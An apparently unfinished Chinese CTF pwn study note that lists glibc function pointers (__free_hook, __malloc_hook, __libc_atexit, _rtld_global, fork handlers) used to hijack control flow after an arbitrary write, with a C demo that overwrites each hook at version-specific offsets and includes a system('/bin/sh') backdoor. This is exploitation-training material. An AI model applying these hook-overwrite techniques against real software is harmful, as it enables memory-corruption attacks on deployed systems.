更新中…在内存破坏漏洞的攻击过程中,攻击者的最终目标一般来说是控制流劫持。如果攻击者能获得一个任意地址写(aaw)的能力,则之后的需要做的就是修改的在间接跳转过程中被使用的关键数据。首先能想到的就是函数指针,因为其内容就是间接跳转的目标地址。另外还有可能是对间接跳转的起着间接影响的数据,比如多级指针、数组索引等,不过落到最后仍然是函数指针。攻击大流程走到这步,攻击这个动词的宾语就变成了某个数据、变量、内存位置,比如攻击
__free_hook
。本文对CTF Pwn题中 常见的 位于libc中的 可以被攻击者利用进行控制流劫持的 函数指针 以及 触发方式 进行了整理。
攻击变量 | 触发函数 |
---|---|
__free_hook | free() |
__malloc_hook | malloc() |
__realloc_hook | realloc() |
__libc_atexit | exit() |
_rtld_global | exit() |
prepare_handler | fork() |
- 攻击的数据本身就是函数指针:没啥说的直接改就行。
- 攻击数据本身是多级指针,需要多级解引用后才能真正触发到间跳转:攻击多级指针本体并构造指针指向的合法数据,如果直接攻击最终有效的间接跳转,则退化为1。
- 攻击数据本身是指针链表的索引:攻击索引,使其索引计算完成后为劫持地址,如果直接攻击指针链表,则退化为1。
# include <stdio.h>
# include <sys/types.h>
# include <sys/stat.h>
# include <fcntl.h>
# include <unistd.h>
# include <sys/mman.h>
# include <string.h>
# include <stdlib.h>
void backdoor(){
system("/bin/sh");
}
long long * get_addr(char * pattern){
char buf [0x1000] = {0};
read(open("/proc/self/maps",0),buf,0x1000);
char * tmp = strtok(buf, "\n");
while (tmp)
{
if(strstr(tmp,pattern)){
long long * leak_addr;
sscanf(tmp,"%p",&leak_addr);
return leak_addr;
}
tmp = strtok(NULL, "\n");
}
}
void aaw(long long *addr,long long data){
* addr = data;
}
void attack_malloc_hook(){
// address information
long long * libc_base = get_addr("libc-2.23.so");
long long malloc_hook = 0x3c4b10 / 8;
// attack
aaw(libc_base + malloc_hook , 0xdeadbeefdeadbeef) ;
// trigger
// printf("%s",0x400000); //printf also can trigger malloc
malloc(10);
}
void attack_realloc_hook(){
// address information
long long * libc_base = get_addr("libc-2.23.so");
long long malloc_hook = 0x3c4b08 / 8;
// attack
aaw(libc_base + malloc_hook , 0xdeadbeefdeadbeef) ;
// trigger
realloc(0,0);
}
void attack_free_hook(){
// https://lantern.cool/note-pwn-free-hook/
// address information
long long * libc_base = get_addr("libc-2.23.so");
long long free_hook = 0x3c67a8 / 8;
// attack
aaw(libc_base + free_hook , 0xdeadbeefdeadbeef) ;
// trigger
free("");
}
void attack_libc_atexit(){
// https://xz.aliyun.com/t/6260
// ubuntu version >= 19
// address information
// ubuntu 16.04 glibc 2.23 __libc_atexit 0x3c08d8 read only
// ubuntu 18.04 glibc 2.27 __libc_atexit 0x3e7738 read only
long long * libc_base = get_addr("libc-2.31");
long long libc_atexit = 0x1ed608 / 8;
// attack
aaw(libc_base + libc_atexit , 0xdeadbeefdeadbeef) ;
// trigger
exit(0);
}
void attack_rtld_global(){
// https://www.cnblogs.com/bhxdn/p/14222558.html
// libc-2.23 _rtld_global:0x5f0040 __rtld_lock_lock_recursive: 3848 __rtld_lock_unlock_recursive: 3856
// libc-2.27 _rtld_global:0x619060 __rtld_lock_lock_recursive: 3840 __rtld_lock_unlock_recursive: 3848
// libc-2.31 _rtld_global:0x23e060 __rtld_lock_lock_recursive: 3848 __rtld_lock_unlock_recursive: 3856
// address information
long long * libc_base = get_addr("libc-2.31");
long long libc_exit_rtld = (0x23e060+3848) / 8;
// attack
aaw(libc_base + libc_exit_rtld , 0xdeadbeefdeadbeef) ;
// trigger
exit(0);
}
void attack_fork_prepare_handler(){
// https://xuanxuanblingbling.github.io/ctf/pwn/2019/10/14/warmup/
// prepare: address information and payload ptr
long long * libc_base = get_addr("libc-2.23.so");
long long fork_ptr = 0x3c9748 / 8;
long long payload[6] = {0,0xdeadbeefdeadbeef,0,0,0,1};
// attack
aaw(libc_base + fork_ptr , payload) ;
// trigger
fork();
}
int main(){
attack_free_hook();
}